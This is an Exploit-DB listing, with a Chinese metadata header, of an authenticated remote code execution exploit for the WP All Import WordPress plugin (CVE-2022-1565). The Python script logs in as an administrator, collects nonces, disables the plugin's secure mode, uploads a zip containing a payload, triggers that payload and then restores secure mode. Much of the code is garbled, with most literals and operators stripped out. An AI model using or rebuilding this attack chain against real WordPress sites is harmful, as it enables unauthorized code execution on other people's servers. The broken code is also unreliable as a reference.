标题: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51122 CVE: 2022-1565 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-29 漏洞利用脚本: # Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/05/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: https://www.wpallimport.com/
# Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version)
# Version: <= 3.6.7 (tested: 3.6.7)
# Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload)
# CVE: CVE-2022-1565

#!/usr/bin/python
import requests
import re
import os
































































target_url    
admin_user                              
admin_pass                           
zip_file_to_upload                 
payload_file_name                   
verify_ssl_certificate                     


wp_login_url  target_url                                                   
wp_all_import_page_settings  target_url     
payload_url  target_url    payload_file_name   
re_enable_secure_mode  
session  requestsSession


 
    
    pattern_setting_secure_mode  r
    pattern_wpnonce_edit_settings  r
    pattern_wpnonce_upload_file  r
    http_response requestsResponse
    is_secure_mode_enabled 
    wpnonce_edit_settings 
    wpnonce_upload_file 

     self  http_response requestsResponse
        selfhttp_response  http_response
        selfcheck_if_secure_mode_is_enabled
        selfretrieve_wpnonce_edit_settings
        selfretrieve_wpnonce_upload_file

     self
        
        
        regex_search  researchselfpattern_setting_secure_mode selfhttp_responsetext
          regex_search
            
            
            exit
        selfis_secure_mode_enabled    regex_searchgroup
        
     self
        
        
        
        regex_search  researchselfpattern_wpnonce_edit_settings selfhttp_responsetext
          regex_search
            
            
            exit
        
        selfwpnonce_edit_settings  regex_searchgroup

     self
        
        
        regex_search  researchselfpattern_wpnonce_upload_file selfhttp_responsetext
          regex_search
            
            
            exit
        
        selfwpnonce_upload_file  regex_searchgroup
        
 
     session
    data     admin_user   admin_pass      wp_all_import_page_settings    
    login_cookie      

    
    
    
    response  sessionposturlwp_login_url datadata cookieslogin_cookie allow_redirects verifyverify_ssl_certificate

     responsestatus_code  
        
        

    
    
    exit

 set_to_enabled wpnonce  requestsResponse
     session
     set_to_enabled
        
    
        

      wpnonce
    data       set_to_enabled     wpnonce   wp_all_import_page_settings    
    response  sessionposturlwp_all_import_page_settings datadata verifyverify_ssl_certificate

     responsestatus_code  
        
        
        exit
     response

 
     session

    
    response  sessiongeturlwp_all_import_page_settings
    plugin_setting  PluginSettingresponse

     plugin_settingis_secure_mode_enabled
        
        
    
    response  set_plugin_secure_modeset_to_enabledwpnonceplugin_settingwpnonce_edit_settings
    new_plugin_setting  PluginSettingresponse
      new_plugin_settingis_secure_mode_enabled
        
        
        exit
    

   
     session re_enable_secure_mode    
    
    

    
    response  sessiongeturlwp_all_import_page_settings
    plugin_setting  PluginSettingresponse

      plugin_settingis_secure_mode_enabled
        re_enable_secure_mode  
        
         plugin_settingwpnonce_upload_file

    
    response  set_plugin_secure_modeset_to_enabled wpnonceplugin_settingwpnonce_edit_settings

    new_plugin_setting  PluginSettingresponse

     new_plugin_settingis_secure_mode_enabled
        
        
        exit
    
    
    re_enable_secure_mode  
     new_plugin_settingwpnonce_upload_file

 wpnonce_upload_file 
     session

    
      wpnonce_upload_file

    zip_file_name  ospathbasenamezip_file_to_upload
    upload_url  wp_all_import_page_settings    wpnonce_upload_file
    files     zip_file_name zip_file_to_upload 
    data     zip_file_name 
    response  sessionposturlupload_url filesfiles datadata

     responsestatus_code  
        
          payload_url
        
        
         
    
        
        
         
        
 
     session

    
    response  sessiongeturlpayload_url

     responsestatus_code  
          payload_url
        
        

 responserequestsResponse
    responsestatus_code
    responsetext
    

 
      target_url
      admin_user    admin_pass

    
    wp_login

    
    
    wpnonce_upload_file  get_wpnonce_upload_file

    
    file_uploaded  upload_filewpnonce_upload_file

    
     re_enable_secure_mode
        switch_back_to_secure_mode

    
     file_uploaded
        activate_payload

Main URL: https://www.exploit-db.com/exploits/51122